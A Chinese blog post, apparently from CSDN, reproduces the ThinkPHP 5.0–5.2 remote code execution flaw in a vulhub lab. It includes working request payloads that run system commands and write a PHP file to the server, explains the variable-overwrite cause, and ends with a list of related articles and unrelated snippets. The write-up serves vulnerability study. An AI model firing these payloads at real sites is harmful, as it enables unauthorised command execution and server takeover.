ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞

作者:SoulCat. 
来源:CSDN 
原文:https://blog.csdn.net/csacs/article/details/86668057 
版权声明:本文为博主原创文章,转载请附上博文链接!

漏洞概述:
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。
漏洞版本:
5.0.x
5.1.x
5.2.x
漏洞搭建:
利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,cd 到thinkphp目录,任意选择一个版本,然后docker-compose up -d
5.1.x之后,必须在本地搭建,vulhub未提供。
如图所示搭建成功,走起!

漏洞复现:
分两个版本5.0.x和5.1.x、5.2.x,分别验证。
1.版本5.0.x
将控制的url参数s的设置为captcha,并且设置post数据:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
-

成功执行命令

针对于这个版本还有一个漏洞,主要由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的远程命令执行漏洞。

远程执行命令payload(不唯一):s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写文件payload(不唯一):?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i

2.版本5.1.x、5.2.x
这两个版本现在用的很少,并且针对于这两个版本有点鸡肋,需要index.php文件中跳过报错提示。 语句:error_reporting(0);
Payload:a=system&b=whoami&_method=filter

漏洞修复:
及时打补丁。
前方道路坎坷,记得及时行乐。
总结:
这两个版本的远程漏洞本质上都是变量覆盖漏洞,在一处存在缺陷的方法中没有对用户输入做严格判断,通过传递_method参数覆盖了配置文件的_method,导致可以访问Request类的任意函数,而在Request的构造函数中又创建了恶意的成员变量,导致后面的命令执行;而在5.1和5.2版本中则是直接覆盖过滤器,在忽略运行异常时可以触发漏洞,也是很棒棒,膜拜大佬!
ps:萌新一枚,余生很长,请多指教。

---------------------

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞的更多相关文章

  1. ThinkPHP 5.x远程命令执行漏洞复现

    ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...

  2. ThinkPHP 5.0远程命令执行漏洞分析与复现

    0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...

  3. ThinkPHP 5.x远程命令执行漏洞分析与复现

    0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...

  4. ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC

    thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...

  5. 漏洞预警 | ThinkPHP 5.x远程命令执行漏洞

    ThinkPHP采用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库).RoR的ORM映射和ActiveRecord模式,是一款兼容性高.部署简单的轻量级国产PHP开发框 ...

  6. 复现IIS6.0远程命令执行漏洞

    出这个漏洞有一定时间了,一直没测试,因为知道这个漏洞有条件的,好吧,顺便感谢royal大佬今天晚上日内网的指点. 漏洞要求: 开启Webdav PS:不想刚拿下的内网服务器一下权限掉了,又不想放xx远 ...

  7. Apache Solr < 8.2.0远程命令执行漏洞(CVE-2019-0193)

    介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的D ...

  8. thinkPHP命令执行漏洞

    thinkPHP中反斜杠的作用是类库\命名空间 命令执行的姿势 通过反射invokefunction调用call_user_func_array方法,call_user_func_array函数接受两 ...

  9. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

随机推荐

  1. PAT 甲级 1025.PAT Ranking C++/Java

      Programming Ability Test (PAT) is organized by the College of Computer Science and Technology of Z ...

  2. C# 只允许运行一个程序实例

    using System; using System.Windows.Forms; using System.Runtime.InteropServices;//使用DllImport的必须. usi ...

  3. ubuntu18docker下安装MySQL

    sudo docker run –name mysqldb -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root-d mysql:latest 这里的容器名字叫:mysql ...

  4. [译] 在 UNIX 中,一切皆文件

    原文地址:In UNIX Everything is a File 原文作者:ph7spot.com 译文出自:掘金翻译计划 本文永久链接:github.com/xitu/gold-m… 译者:pmw ...

  5. windows10家庭版升级专业版/企业版

    以防万一,还是把Windows10家庭版的密钥保存下来. 一.保留原密钥 1. Win+R,输入regedit 2. 进入目录 HKEY_LOCAL_MACHINE\SOFTWARE\Microsof ...

  6. 01_搭建基本的FTP服务器(数通华为)

    1.选择客户端和服务端: 2.FTP服务端配置设置待FTP的文件: 3.客户端配置访问: 4.双击下载到本地:

  7. Linux 系统管理——系统安全及应用

    chagen -d 0 ____用户名:下次登录时必须修改密码 ctrl+R:查看历史记录 history:查看历史记录 清除历史记录: >.bash _history echo“”>.b ...

  8. Android编程权威指南笔记3:Android Fragment讲解与Android Studio中的依赖关系,如何添加依赖关系

    Android Fragment 当我在学习时,了解了Fragment词汇 Fragment是一种控制器对象,我就把所了解的简单说一下.activity可以派fragment完成一些任务,就是管理用户 ...

  9. webpack vue-cli2 配置打包测试环境

    目前vue-cli2上原配置是只有开发环境dev和线上环境prod的配置,但是我们实际场景上还有很多需要一个测试环境test,下面就是对测试环境的配置,将测试环境和线上环境的打包代码分开就不需要切来切 ...

  10. 后台接收参数报错 Required String parameter 'id' is not present

    来自:https://blog.csdn.net/qq_15238647/article/details/81539287 关于ajax请求spring后台出现 Required String par ...